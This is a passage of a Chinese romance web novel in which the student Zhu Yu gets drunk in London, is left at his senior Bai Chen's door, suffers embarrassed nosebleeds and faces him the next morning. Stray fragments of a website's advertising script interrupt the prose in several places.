“哎!忘了问他们,我应该怎么帮助你了。” 祝渝的声音有一瞬的沮丧,但紧接着他就两手插在腰间,冲柏沉笑着,又热心道: “不过你放心,我会尽我最大的能力帮你的,你要是有什么需要,也要尽管对我开口哦!” 方才的一瞬沮丧已然烟消云散。 祝渝明明不再是那天的金色发色了。 也没有金色的阳光洒在他身上。 可柏沉突然觉得他身上有亮光,太刺眼,太灼热。 沉默了两秒后,柏沉释然一笑,应:“好。” “但是我不知道怎么帮助你,教授他们走得太急了,等下次有机会,我去问问他们。”祝渝转而就担心起了自己帮不到柏沉该怎么办。 “你不用太费心的。”柏沉轻声安抚说,“因为或许我的能力本来就是这样,根本达不到所谓的另一个高度。” 柏沉薄唇张合,语气平缓,温柔得像水,他抬睫看向祝渝,又说:“因为教授他一直对我的事很上心,我并不想拒绝他的好意。” “所以如果你发现你帮不了我什么,也请不要自责,这不是你的问题。”柏沉是一字一顿说的,用贬低自己的话去安抚祝渝。 怎么会有人这样想自己呢? 祝渝特别想不明白。 “可是我们都还没试一试呢。你为什么要怀疑自己呢?”祝渝明眸间全是不理解,漂亮的眉头也紧皱着。 柏沉就认真给他解释,“因为正如我昨晚和你说的,没有人会是十全十美的,要接受自己没办法完美的地方。” 很书面的话,但柏沉说出来却不违和。 祝渝听完立马摇头,粉色的绒发也跟着摆,他直接出声否定了柏沉的言论,“师哥,我不喜欢你说这样的话!” 他甚至是用生气的语气说的。 柏沉没见过这样的人,一点也不委婉,无论心里想的什么,都会直接说出口。 他习惯去揣摩猜测别人说话和行动的意图,而祝渝会在他去揣测之前就表达出来。 空气安静的这两秒,柏沉觉得自己应该说些什么。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 但祝渝一把就抓住了他的手,又接着说:“我觉得你应该像我一样。” “师哥,我和你说,我刚到英国的时候就尝试过自己做饭了,那时候我不知道油烟太大会触发烟雾报警器,所以我第一次做饭就罚交了一笔火警出警费。” “后来我做饭还是会搞得一团糟,就像昨晚那样。” “虽然昨晚我很难过地和你说我没有做饭天赋,可我也只是说说而已,我从来不觉得自己不可以。”祝渝很认真地和柏沉说着自己的经历。 “所以你也一定不要觉得自己不可以!”不知道是不是受家庭环境的影响,祝渝从小到大给自己灌输的理念就是自信和不服输。 正如他坚信自己一个人在英国也能好好生活一样,虽然目前过得惨惨的吧。 平时祝渝从来不说大道理的话,因为他一说话就容易让人发笑。 但这次他像一个前辈似的,说出了这些“大道理”,不得不承认,祝渝说完那一刻内心有那么一些的小骄傲。 柏沉还没来得及说什么,祝渝倒像是后知后觉,才发现自己不知道什么时候抓住了柏沉的手。 柏沉的一双手很大,骨节分明,指腹有薄茧,手指上的那颗痣的位置很巧妙,是怎么都会让人一眼就注意到的存在。 和祝渝娇生惯养出来的手有很大的差别,柏沉的手看起来宽大又有力量。 祝渝立马撒开了手。 柏沉目光静静注在祝渝认真的脸上,眼底分明的笑意渐渐聚拢在了瞳仁中间。 他好似读懂了祝渝眼底的那点骄傲,但他很配合地回话:“好,我知道了。” “谢谢你愿意和我说这么多。”柏沉眸色温柔着,他总是笑着,唇角永远都微微翘着,像没有脾气似的。 祝渝立马得意似的将手插在了腰间,骄傲仰头:“不用谢啦,因为你也帮助了我那么多嘛。” “毕竟如果没有你,前天晚上我和刘波就饿死了。”祝渝转而就假意掩面哭泣,发出了呜呜咽咽的动静。 他太有活力了,演这种浮夸的表面戏并不让人觉得做作,只让人觉得可爱。 柏沉轻笑出了声,这时祝渝又将手拿下来看了一下手表的时间,下一秒他猛然抬头,圆眼看着柏沉:“哎呀!” 语气略微着急。 “怎么了?”柏沉立马正色问。 祝渝腾地一下站起了身,“我只向老板请了两个小时的假!” “快到时间了!” 柏沉听完也站起身给祝渝让开了路。 祝渝从他面前走出去,在原地留下了似山茶花的暗香,柏沉闻见后,几乎是下意识就后退半步,给祝渝留出了更大的空间。 祝渝站在桌边将自己喝剩下的半杯咖啡一饮而尽,然后将身边的书包单挎在了肩上,“师哥再见,回头聊。” 他又扯了一张纸擦去了嘴角的咖啡渍,“咖啡的账单我已经结了,记得喝光,不要浪费了!” 祝渝还是很心疼钱的,这里一杯普普通通咖啡折合人民币就要六十多,他昨天赚的还不够他今天花的,两位教授走得急,咖啡没喝多少。 但柏沉还没走,所以他走之前还顺带叮嘱柏沉不要浪费了咖啡。 “好,我知道了。”柏沉仍旧笑着应。 于是祝渝挎着书包风风火火地跑出了咖啡馆。 柏沉目送着祝渝离开了咖啡馆以后才重新回到座位上。 祝渝留在原地的山茶花香还是没有弥散。 和咖啡的苦味搅和在了一起,柏沉抿了一口咖啡。 嗯,咖啡好像都变甜了。 “咚咚咚。”旁边的透明玻璃窗突然被敲响。 8. 醉酒 柏沉循着声音偏头看出去。 然后就看见一个粉毛脑袋窜了出来。 祝渝举着手机对他比划着什么,而手机界面是一个二维码界面,柏沉细看,发现是让添加好友的二维码。 柏沉了然。 拿手机打开微信添加了祝渝的好友。 接收到好友申请后,祝渝就抬手对柏沉比了一个“OK”的手势后,又抓着书包跑远了,晨曦透过树隙落下来,被树叶切成了斑驳的碎影。 碎影落在祝渝身上,这一幕就像一副色彩斑斓的世界名画。 直到那个纤瘦活泼的背影完全消失在了视野里面,柏沉才垂睫将剩下的咖啡饮尽。 “叮咚。”手机震了一下,同时一条微信消息弹出了屏幕。 柏沉拿起手机,是祝渝发来的消息。 【祝渝:师哥,晚上见呀(^з^)-☆】 柏沉回了一个字:【好】 然后祝渝就没回消息了,柏沉盯着聊天界面看了一会儿,鬼使神差地点开了祝渝的头像。 是一朵迎风的向日葵,向日葵的花瓣全部被风吹得往后撇了去,下面还有一排配字—— 【向他妈的阳而生】 这原本是一个搞笑表情包的,只是被祝渝拿来做头像了。 柏沉被祝渝的这个头像逗乐了,他无声笑了笑,又点进了祝渝的朋友圈。 虽然他的朋友圈设置了仅能看近半年的。 但祝渝发朋友圈的频率很高,有时候一天会发三四条。 柏沉草草地翻了一遍,他发现祝渝是一个很喜欢记录生活的人,祝渝的朋友圈有很多流浪猫狗的照片,还有很多他的自拍照,漂亮的,搞怪的…… 而且从三个月前开始,祝渝发得最多的就是“饿死了”。 几乎隔不到一周就会有一条朋友圈说自己要饿死了。 再往前翻,六个月前,祝渝发了一组自拍照,一张是米白的发色,一张是柏沉见过的金发。 他抱怨说他最喜欢的还是之前那款发色,但其实祝渝那么好看,什么发色也不会影响到他颜值的。 祝渝的朋友圈很有活力,也很有意思,柏沉没发现自己在从头翻到底的时候,唇角的笑意也越来越深。 —— 咖啡馆周末的时候生意很好。 而且这里的咖啡很受华人学生喜欢,祝渝喜欢送咖啡到他们位置上的过程,因为这样可以摸鱼听他们聊闲话。 不同的圈子谈的闲话也不同。 祝渝最喜欢听他们讨论哪里有好吃的中餐了,最好带上价格一起讨论。 然后他休息的时候就会默默计算一下,除开刘波的猫粮钱,自己大概什么时候能去那里吃一次中餐。 “Yu,7号桌的咖啡。” 前台Chloe小姐喊他那会儿,祝渝正在休息区按揉着自己发酸的小腿,听到声音后就从椅子上站起身,“好的。” 他端着咖啡去到了7号桌。 “客人您好,这是您点的咖啡。”祝渝没有盯着客人打量的习惯,他放下咖啡就准备离开。 没想到7号桌客人突然伸手抓住了他的手腕。 “祝渝。”客人是中国人的口音。 祝渝听着耳熟,回头看向了七号桌客人。 “付文羽?!”祝渝声音明显提高了几分,惊喜喊了对方的名字。 “没想到吧,我过来找你了!”面前一身名牌的寸头青年猛地拍了一把祝渝的腰,然后评价:“还真是瘦了。” “还有这小粉毛,怪衬脸的。”付文羽又打量着祝渝的发色说。 祝渝不想在自己工作的地方闹出太大动静,他反手照着付文羽的脑袋拍了一下,压低声音骂:“你有病吧?” “你怎么跑英国来了?”祝渝没想到自己能在英国遇见自己的国内好友。 “我妈过来谈生意,我这不想着你也在伦敦吗?就跟过来看看你,我可是到处打听才知道你在这里兼职的。” 付文羽一只手捂着被祝渝打过的地方,另一只手将身边的椅子往外面拉了一些,示意祝渝坐下和自己聊。 “如果你不把我拉黑,我不早找到你了吗?”末了,付文羽还补充了一句。 祝渝回头看了一眼,发现没有新的客人到来才坐到了付文羽的身边。 “你来看我?你带什么东西来看我了?”祝渝自动忽略掉了对方的第二句话。 付文羽说:“你妈不是管着我们这些人嘛……” “反正我没给你带吃的过来。”付文羽知道祝渝想要什么,他直接补充这句话断了对方的念想。 祝渝就对他伸出手,用耍无赖的语气说:“那你给我借点钱。” 付文羽把手机装进口袋里捂住,摇头:“也不行。” “不是祝渝,你到底懂不懂啊?我是真的害怕你妈啊。”一想到虞怜欢当时警告他们的语气,付文羽后背就一阵发怵。 “我,老于,周哥还有小杨,她可是挨个警告了遍,明令禁止我们对你提供任何资金或者物质资助。”付文羽掰着手指说, “所以你说你到底犯了什么错?让你妈舍得把你送这破地方来?” “我没做错事。”祝渝很不高兴地拧着眉强调,只是因为他被送了过来,所以所有人都觉得是他做错了,就是没有人愿意站在他这边。 可他交朋友的目的是什么?不就是为了在这种时候,有人可以盲目地站在他这边吗? 祝渝翻了一个白眼,撑着桌面就准备起身离开。 “好好好,你没做错。”眼瞧着祝渝又要生气了,付文羽急忙拉住了他,“你别走啊,虽然我什么也不能帮助你,但是……” “但是你还能给我添乱啊。”祝渝接话,他两手插在腰间,表情很是无语。 付文羽立马说:“你看你说的什么话?我是凌晨的飞机回国,晚上我可以请你吃饭。” “真的?”祝渝终于听到了一点想听的话,他又坐回了椅子上。 付文羽:“那当然,哥还是很心疼你的。” “我要吃中餐。”祝渝没有在意他占自己便宜的话。 付文羽大气点头:“随便吃。” “我还要喝酒。”祝渝两眼放光。 “好!那我现在就订餐厅。”付文羽拿出了手机。 “我还没下班呢,你等我……”祝渝抬起手腕看了一下时间,“两个小时吧。” 付文羽皱眉:“请假呗。” “请掉的这两个小时你给我钱啊。”祝渝说。 付文羽摊开手,妥协:“那算了,你还是工作吧。” 他不可置否地叹了一口气,比起其他的,他更感叹现在的祝渝,毕竟祝渝怎么说也是在祝家娇生惯养长大的,那个从小就生活在钱堆里的小少爷,哪里吃过现在这种苦。 人都瘦了这么多。 结果呢?他宁愿到这种小地方兼职,也不愿意主动向家里承认错误。 付文羽看着祝渝忙碌的背影,有时候他真的挺好奇祝渝的,一个人怎么能争强好胜成这样啊? —— 伦敦晚七点半。 某中餐厅—— “祝渝,你真喝醉了啊?”在富丽堂皇的中式建筑独立大包间里,餐桌上摆满了各式中餐,每道菜已经吃得不剩多少了。 而餐桌前只有两个人,其中一个留着粉色头发的漂亮年轻人已经喝得醉醺醺了,现在正蹲在椅子旁边抱着空酒瓶嚎啕大哭。 泪珠子像断了线的珍珠,一颗一颗地往下滚。 付文羽酒量不差,至少他现在比祝渝清醒多了,他走去蹲在祝渝身边。 “你别哭了,饭也 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 吃了,酒也喝了,我送你回宿舍吧。”付文羽架着祝渝的胳膊把他扶了起来。 祝渝对着他胸口来了一拳,力道不大,付文羽捂着胸膛咳了一声,就听见祝渝抱怨:“我讨厌你们。” “你讨厌的人多了去了。”付文羽习以为常,他扶着祝渝走出了包间。 只要让祝渝不开心的,不向着祝渝的人,祝渝都讨厌。 祝渝抱着手里的空酒瓶不肯撒手,呜呜咽咽地掉眼泪:“根本就没人懂我……” “那我问你到底发生了什么事,你也不说啊,你要我们怎么懂你?”付文羽将他塞进车里,替他系好了安全带才让司机开车往祝渝住的公寓去了。 祝渝发怒:“你难道不是应该无条件站到我这边吗?” “那不行,我还是很明事理的。”付文羽说,“我得搞明白到底是谁做错了。” 然后他鼻子就结结实实挨了祝渝一拳。 他捂着鼻子想骂祝渝,回头一看祝渝已经把自己缩成了一团,正缩在角落里掉眼泪,他想骂也骂不出口了。 毕竟祝渝现在是他们那群人里混得最可怜的。 想到这里,他就拿出手机打开了相机,“祝渝,看镜头。” 祝渝闻声抬头,他其实没听明白付文羽让他做什么,只是听见了付文羽叫他,他就抬起头了。 在付文羽的手机里看见了自己后,他下意识就端正了坐姿,抬手冲镜头比了一个“耶”。 “你还真是……”付文羽连拍了两张,然后低头查看起了照片,“无时无刻都在意自己的形象啊。” 即使车内的灯光很昏暗,但拍出来的照片里,祝渝那双泪眼朦胧的眼睛还是最吸引人的存在,耳钻也泛着冷异的光。 祝渝裹紧衣裳,又重新困倒在了后座。 “我说祝渝,你要不把我从黑名单拉出来呗。”付文羽已经被祝渝挤到了角落里,眼看着祝渝一双脚就要压在自己身上了,他急忙按住了祝渝乱动的脚。 祝渝缓缓掀开眼皮,脑子慢悠悠地转了两秒,才将手机从兜里摸出来解锁扔给了他。 “自己弄。”祝渝说。 付文羽拿着手机,在微信了翻了翻,将自己从祝渝黑名单里面拉了出来。 “我把他们也拉出来,可以不?”付文羽问话的时候还在看祝渝的脸色。 祝渝脸色如常,看起来大概是心情还不错。 “随便吧。”祝渝抱着酒瓶应了一声,不知道为什么,语气有些别扭。 付文羽说的那些人,其实也就是祝渝在国内的好友,都是因为大小程度的事情惹了祝渝不开心,然后被拉黑的。 “也就是我们这么包容你了,祝渝,你得改改你的脾气呀,不能就逮着我们这群跟你关系好的折腾吧?” 祝渝闭着眼充耳不闻。 其实他也知道自己有这个坏习惯,可他就是改不掉,关系越好的人,他越容易藏不住自己的那些脾气。 付文羽操作完后手顿在了聊天界面,见祝渝最新聊天的人里面有一个备注叫【柏沉师哥】的人。 “哎,你这个柏沉师哥是谁啊?”付文羽把手机递给了祝渝问。 祝渝抱着手机,回忆着柏沉的那张脸和身材,缓缓掀唇说:“是男…菩萨…” 他说完话,车子也稳稳当当地停在了公寓楼下。 付文羽把他扶坐起来,敷衍道:“行行行,菩萨菩萨,所以你住哪个宿舍呢?” 祝渝耷拉着脑袋,将付文羽的话思考了一遍。 菩萨……住哪个宿舍呢? 他踉踉跄跄地下了车,扶着车门对付文羽说: “菩萨在……”祝渝声音含糊,“514。” 付文羽扶着他,实在没听清祝渝的前半句,“住514?好好好,我先送你回家,一会儿我要赶飞机了。” 9.鼻血 祝渝喝了酒一般不耍酒疯,付文羽将他带进公寓到出电梯这个过程他都很安静。 只是最开始他非要抱着怀里的酒瓶子回去,怎么也不肯撒手。 付文羽和他在楼底下纠缠了半天,才把酒瓶子抢过去扔进垃圾桶里。 然后从进电梯到去514宿舍的路上,祝渝的泪珠子跟不要钱似的往下滚。 “钥匙呢?”付文羽累得满头大汗,让祝渝站稳后问。 祝渝摇摇晃晃地在口袋里摸出了一串钥匙,上面挂着一只太阳花样式的挂坠。 “这把。”祝渝低着头一把一把地排除,最后将一把半新的钥匙握在了手心里,然后迷迷糊糊地去戳房门的钥匙孔。 钥匙戳门的动静弄得很大,可就是没有对准过锁孔。 付文羽拿起手机看了一眼,他妈妈已经在催他去机场了。 但这边祝渝还没安排妥当,他收起手机一把将钥匙夺了过去,像个操心的老妈子,“我来吧,就你现在这样,你打算戳一晚上啊?” 他将钥匙对准钥匙孔,正要插进去开门,而门把手却在付文羽的眼皮子底下被转动了。 付文羽:?? 他当是自己看花了眼,刚定睛要仔细看。 “哐。”一声后,门被打开了。 一股冷槐的异香飘出来,紧接着一个穿着黑色长袖睡衣的男人出现在了两人眼前。 男人五官俊朗,身材高大,宽松的睡衣藏不住他宽阔的胸肌和健硕的臂膀,付文羽被这个身材吓得拉着祝渝倒退了半步。 “我靠。”付文羽不是被突然出现的人吓到了。 他是被面前这人的身材惊到了。 因为付文羽也是健身的人,他知道像眼前这人的身材有多难练,和祝渝第一次见柏沉时的心理一样,付文羽有一瞬的自卑,只不过他还多了几分的佩服。 回过神来后,付文羽忙抬头看了一眼宿舍号,是514没错啊? “请问你是?”柏沉先看了付文羽一眼,然后目光落在了一边醉醺醺的祝渝身上,“你是祝渝的朋友吗?” “师哥。”身边的祝渝喊了对方一声。 “哎!你们认识啊?!”付文羽还以为祝渝说错了宿舍号,听到眼前的男人唤祝渝的名字,又听到祝渝喊对方师哥,他立马松了一大口气。 刚刚吃饭的时候,祝渝还说这个师哥是什么菩萨,所以对面应该不是坏人。 他当这个师哥是祝渝的合租室友。 “祝渝他喝醉了,你是他室友吧?”不等柏沉回话,付文羽一把将摇摇晃晃的祝渝塞到了柏沉怀里,“麻烦你帮忙把他送回房间一下吧。” “我要去赶回国的飞机了。”付司羽抬手看了一下时间,再不赶去机场就要晚点了。 “谢了啊,兄弟。”付文羽说话都不带喘气的,柏沉连插话的机会都没有,怀里就被塞进了一个醉醺醺的人。 柏沉扶着祝渝,想叫住匆匆离去的付文羽解释自己不是祝渝的合租室友,但付文羽这会儿已经钻进电梯了。 “师哥!”祝渝从柏沉怀里退开,摆了一个立正的姿势,他开心打招呼:“晚上好!” 祝渝摇摇晃晃地定住了双腿,他仰头看着眼前的人,被泪水糊了的视野里的人完全是模糊的,他眯着眼也勉强只能看出了一个俊朗的脸部轮廓。 “晚上好,祝渝。”柏沉担心祝渝摔倒,忙伸出一只手拉住了祝渝的胳膊。 祝渝这人吧,看着就瘦,握在手里的胳膊果然也很纤细,没什么肉感。 “你怎么在我家啊?”在祝渝的认知里,付文羽就是将他送到了自己宿舍门前的。 而柏沉却突然出现在了“他”的宿舍里。 这是一件很奇怪的事。 看来是真的醉了。 确认了这个事实后,柏沉轻叹了一口气。 他扶稳祝渝,温声去唤他,“祝渝,钥匙在身上吗?” “在!”祝渝这一声‘在’和军训时的“到”一样铿锵有力。 他摸了摸口袋,拿出了一串五颜六色的钥匙。 柏沉扶着祝渝走到了515宿舍门口,公寓的钥匙都是统一的样式,柏沉很快就找出了宿舍钥匙。 “祝渝,你喝醉了。”柏沉没有生气的意思,他将摇摇晃晃的人扶稳,用一种笃定的语气对祝渝说。 祝渝吸了吸鼻子,嘴硬摇头:“我没有。” 眼看着祝渝就要不开心了,柏沉忙改口:“对,你没醉。” “我们先进去吧。”柏沉只手开了门,将祝渝扶进了屋。 “喵——”门刚打开,刘波就从卧室跑了出来,它绕着两人直转圈,令他们寸步难行。 于是柏沉就弯下腰,用一只手将刘波捞起抱进了怀里,另一只手扶着祝渝往卧室走。 祝渝身上的酒味儿不重,更多的还是山茶花的清香,他大概是单纯沾酒就醉的人。 因为留学生公寓的房间布局是统一的,所以柏沉没有困难地就摸到了卧室的开关。 随着开关发出“吧嗒”的声音后,卧室灯光大亮,卧室的灯远比客厅的灯明亮,甚至有些刺眼。 突然的光亮对两人来说都有些无法适应,柏沉稍微侧头缓了缓,祝渝却立马抬手捂住眼睛,“啊!” “师哥,我的眼睛!”他很戏精地学着紫薇失明时的语气,“我怎么什么也看不见了!” 柏沉听着他的话,翘着唇角笑得无声。 他把祝渝扶到了床边坐下,又将刘波放在了地面,然后用非常温柔的嗓音说:“看不见就睡一觉。” “睡醒了就好了。”是哄人的语气。 柏沉说完就侧身去将手边的台灯打开,又抬手将房间的灯关掉了。 祝渝双脚灵活地互相蹬掉鞋子,因为没控制好力度,他一脚就将鞋子蹬飞到了门边,搞出了不小的动静。 然后才试探着掀开了眼皮。 房间的灯已经关了。 唯一的光源是床头柜上的那盏台灯,灯光是昏黄色的。 柏沉操作着灯光的强弱。 祝渝就看见柏沉身上那层暖色的光慢慢由明变暗。 因为弯着腰,柏沉身上那件睡衣的纽扣边沿翘起,不偏不倚,偏偏是第二颗和第三颗的中间。 祝渝很不可避免地看见了衣服之下的光景。 那是很饱满的/胸/肌,紧致又有力量,给人很坚实的安全感,线条非常的优美,肌理也平滑,一颗红色的痣落在左/胸/口。 祝渝并不近视,这个距离甚至让祝渝欣赏到了对方皮肤上的细小绒毛。 有一说一,祝渝从来没有这样近距离地观察过这个部位。 而他第一次近距离观察,就遇上了柏沉这样万里挑一的完美身材。 好大的……胸肌啊……祝渝一双眼睛都瞪直了。 顷刻间的功夫,祝渝只觉好像有温暖的液体从鼻腔流了出来。 这种不适感令他抬手抹了一下,鲜红色的液体就这样糊在了他的手背,祝渝瞬间酒醒了大半。 柏沉刚调好灯光亮度,然后一转身就和祝渝震惊的双眼对视上了。 祝渝捂着鼻 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 子,鲜血从指缝溢出来。 “祝渝,你怎么了?”柏沉浑然不觉祝渝是为什么流鼻血,他忙关切问。 至于什么原因,祝渝当然也是一个字也不敢说,他只能睁着无辜的大眼直摇头。 柏沉给他扯纸巾堵住鼻子,又扶着他去到了卫生间。 他打开水龙头,手顿在了墙上一排五颜六色的毛巾前,他也不知道哪根毛巾是祝渝用来擦脸的。 犹豫了一下,柏沉只扯了两张纸巾在手里。 “祝渝,把手拿开一下。”他轻声说,“我看看是哪个鼻孔在流血。” 祝渝两只手都捂着自己的口鼻,鲜血从指缝溢出来。 他茫然地看着柏沉的脸,应该是还没理解柏沉的这句话,表情像一个无措的孩子。 于是柏沉抬手将祝渝的手握住拿了下来。 是右边鼻孔在流血。 柏沉让祝渝仰着头,拿纸巾堵住了他流血的鼻孔,然后又将纸巾打湿去把祝渝脸上的血迹擦干净。 “再把手洗一洗就好了。”柏沉温声对他说。 于是祝渝很听话地将手拿到水龙头下面慢慢冲洗了起来。 柏沉看着他昏昏欲睡的侧脸。 暗暗庆幸祝渝喝醉了酒没有耍酒疯的习惯。 “写(洗)好了。”祝渝转身对柏沉伸出了双手。 柏沉笑出了声,他抓过祝渝的手,又扯了两张湿纸给他擦手上的水,用几近无奈的语气说:“怎么舌头都喝大了啊?” 祝渝闻声抬睫,细细打量着眼前的人,刚刚在给他清洗鼻血的时候,也有水珠溅在了柏沉的身上。 祝渝看见透明的水珠从他耳后滑下来,顺着颈脖往下,到锁骨,再到V领的睡衣里面…… 水汽氤氲,浴室灯光晦暗暧昧,水珠在柏沉的肌肤上留下了色/气的水痕,他兀地想到了刚刚看到的那颗痣。 于是祝渝双眸猛地放大。 又有一股温热的液体从左边鼻孔缓缓流了出来。 柏沉刚把祝渝手上的水擦干净,正要抬头和祝渝说话,一滴温热的红色液体却突然滴落在了他的手背上。 在他手背上溅起一朵血花。 柏沉一愣,抬头看向了祝渝。 祝渝赶在柏沉看他之前抬手捂住了鼻子。 柏沉:? …… 十分钟后。 祝渝两个鼻孔都塞着纸巾,被柏沉轻轻扶着放到了床上,他已经睡着了,额间的碎发还沾着水渍,黏在了白净的脸上。 在昏黄的灯光下,祝渝睡得很安稳,薄唇微张,打着轻鼾,呼吸也渐渐平稳了下来。 密长似羽扇的睫毛轻颤着,也不知道是做了什么梦,梦中呢喃:“求你……我……” “摸,摸……” 柏沉附耳去听,却什么也没听清楚。 他不明所以。 将被子拉起来盖住了祝渝的半张脸,细绒般的粉色发丝穿过指缝,有些酥痒。 柏沉敛睫看了看手指,又看向了床上的人。 觉得祝渝似乎对身边人太不设防了。 如果他是趁人之危的坏人呢?柏沉想。 不久,柏沉轻叹了一口气。 他小心退开床边,将祝渝不小心滴落在地板上的血迹擦净,又给刘波碗里装了猫粮和水以后才离开的。 夜风萧瑟,风从窗隙钻进来,卷着窗边的发财树树叶,发出轻微的声响。 这一夜祝渝没有做梦,只是睡得并不安稳,睡梦中总觉得自己睡前好像做了什么不得了的事情…… 10.完蛋 滴答滴答。 房间安静到了极点。 只能听见墙上挂钟指针走动的声音。 “咳咳……”祝渝费劲掀开了千斤重的眼皮。 “刘波,你要压死我了啊……”一道沙哑的声音在房间响起。 紧接着一只纤瘦的胳膊艰难地从被窝里钻出来,将压在自己胸膛上睡觉的肥猫提溜起来丢到了床头。 祝渝捂着胸脯,把被刘波压在肺部没上来的那口气吐了出来,“呼——” 随后他茫然盯着天花板,开始回忆昨晚。 喝醉了,然后呢? 然后被付文羽送回来了? 是这样吧?祝渝自己也不确定,他翻身坐起身打了一个哈欠,觉得鼻子有些干,嗓子也不太舒服。 祝渝其实并不嗜酒,昨天本来也只是想尝尝味道,但付文羽舍得花钱,拿了一瓶浓度特高的酒,祝渝没喝多少就摸不着北了。 喝酒误事啊。 祝渝拍了拍自己的脑门想。 然后习惯性去摸床头柜上的手机,这次却落了空,手机不知道扔在哪里了。 于是祝渝掀开被子下了床,穿着拖鞋就慢悠悠地往客厅走去了,刘波后腿一蹬跳下了床,也跟着祝渝出了房间。 不知道是不是昨晚喝了酒,还是刘波压得他脑子供血不足的缘故,祝渝走出卧室就忘了自己出来是要找手机的。 他茫然地盯着客厅看了一会儿,他要干什么来着? 没想起来。 祝渝干脆转身径直往卫生间走了去。 他漱了漱嘴,凉水让他脑子清醒了一些,然后又将牙刷塞进了嘴里开始慢慢刷牙,他有些困惑迷茫地盯着镜子里的自己,总觉得自己好像丢失了一段不得了的记忆。 刘波在蹭他的脚。 祝渝低头看它,瞧着它应该是睡饿了,“刷完牙给你装猫粮。” 他用含糊不清的嗓音对刘波说。 刚说完话,他余光突然瞥到了刘波身边的垃圾桶。 里面有几张带血的纸巾。 顷刻间,回忆如潮水般涌现,争先恐后地往祝渝脑子里钻。 “吧嗒。”沾着牙膏沫的蓝色电动牙刷掉落在了洗漱池里,泡沫飞溅。 想起来了。 祝渝全都想起来了。 完蛋了。 祝渝,你这下真的完蛋了。 他双手抬起来抱住抓住了头发,粉色的发色将他手的肤色衬得雪白,他满脸透着绝望。 醉酒,鸠占鹊巢,鼻血,甚至后面他不知道是做梦还是真的,求柏沉给他摸摸…… 这下真的完蛋了,自己刚和对方建立起来的革命友谊走到尽头了。 他的形象居然这么早就崩塌了。 救命救命救命…… 谁来救救他? “叮咚。” “叮咚。” …… 手机微信提示音从客厅传出来,祝渝吓得浑身一怵,唯恐是柏沉发来的消息。 他三两下将嘴里的泡沫漱干净,拿毛巾随便擦了擦脸就出了卫生间。 “Siri,你在哪儿?”祝渝喊。 Siri在沙发上应声。 祝渝一把将手机拿起,想看柏沉有没有给自己发消息,但弹出屏幕的微信消息只有他那些好友的。 昨晚在付文羽的帮助下,他们这些人都从祝渝黑名单了出来了,所以一早他手机就收到了好多条慰问消息。 祝渝没翻到柏沉的,但是翻到付文羽发来的消息。 【付文羽:我要上飞机了】 【付文羽:回头酒醒了,记得好好谢谢你室友,昨晚我把你送到门口就走了,后面都是他照顾你的】 【付文羽:不过你室友身材可以啊】 【付文羽:你帮我问问他是怎么练的呗?比如饮食习惯啊,吃的什么蛋白粉是什么牌子啊】 【付文羽:我上飞机了,再见了,不要想哥】 【付文羽:痛哭流涕.jpg】 …… 所以这一切都不是做梦! 祝渝丢下手机,目光呆滞,表情僵硬,抓着头发崩溃跪地。 完-蛋-了。 — 半个小时后。 祝渝站在门后重重地呼了两口气。 他穿着一件加厚的棕色毛织衫,戴白色针织帽,还戴着口罩,他把自己裹得严严实实,只露了一双偷感极重的眼睛出来。 如果他的偷感没那么重,那他可能和那些外出的明星差不多。 祝渝抬手顺了顺胸膛的气,鼓励自己,没关系的祝渝! 之前那么多次出门都没遇见过,这次不会那么巧合的。 这样安慰鼓励了自己以后,祝渝明显心安了许多,他悄悄将门打开了一条缝,往外瞄了一眼,见对门宿舍房门紧闭,他悬着的心终于落了地。 于是他快步钻了出去,转身开始锁门。 “哐。”下一秒,身后传来开门的声音。 正弓着身子锁门的祝渝:……服了。 他绝望闭眼。 “祝渝,你醒了?感觉怎么样?”柏沉温润的声音从身后传来,祝渝被吓得身子一抖。 “啊对!醒了!感觉挺好的呀。”祝渝拔下钥匙,转身看向了柏沉,他语气别扭,目光闪躲着,实在没脸直视柏沉的眼睛。 “昨晚谢谢你。” “不用谢。” 柏沉应该也是要去上课,身上挎着一个黑色的挎包,身上穿着一件加厚的白色卫衣。 “你怎么戴着口罩?感冒了吗?”柏沉注意到了祝渝今天的不一样,便开口关心起了祝渝的身体。 祝渝摇头,心虚解释:“不是,就是外边风吹着冷。” 柏沉颔首,“你去上课?要一起吗?” 他又对祝渝发出邀请。 祝渝一下就抓紧了书包背带,他其实没脸再和柏沉走在一起的,只是吧,他也没理由拒绝对方。 “好,好。”祝渝更心虚地应了两声。 于是两人就并肩一起走向了电梯。 祝渝低头看着脚尖,内心很抓马。 问题是昨晚他说的那些话,到底是做梦还是真的啊?主要柏沉不说,他也不敢挑起那个话题。 “看路,祝渝。”耳边温柔的嗓音响起,一只温热的手突然垫在了他的脑门,避免了祝渝脑门和面前的墙亲密接触。 “谢谢,我没太注意。”祝渝后退了半步,他还是心虚,不敢看柏沉的脸。 柏沉皱眉,关心问:“你怎么了吗?感觉你好像有些不在状态。” “我就是……”祝渝看向他,“我就是想问昨晚……” 祝渝不是扭捏的人,他根本不可能憋得住心事,就算柏沉不说,他也迟早会自己去问,“我没有说,或者做什么很奇怪的事吧?” 见柏沉在自己问完话后开始回忆思考。 “你要相信,我昨晚做的一切都是因为我喝醉了,我根本不是那样的人!”祝渝急忙抬起手竖起三根手指,“我发誓!” 他眼神真挚又坚定,像要入党了那般的坚定。 柏沉看着他,眉眼弯起,颊边的梨涡也漾着弧度,“我知道了。” “哎?所以我昨晚没做什么吧?”柏沉长得高,步子也长,祝渝小跑着跟上了柏沉的步伐。 柏沉察觉后就放慢了脚步,“没有。” 他先给祝渝打了一支安定剂,见祝渝暗自吐了一口气,他才话锋一转:“不过……” “不过什么?!”祝渝忙追着问,眼睛里的迫切不要太明显了。 柏沉笑,而后劝说:“不过你以 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 后要少喝点酒。” “你喝了酒会流鼻血。”柏沉的表情真诚又认真。 祝渝看出来了,柏沉肯定不知道自己昨晚流鼻血的原因。 在听柏沉说完话的瞬间,祝渝白净的脸唰的一下变得通红。 红晕染在颊边,耳朵也和头发融为一体了,耳垂的那两颗耳钉更加矅黑。 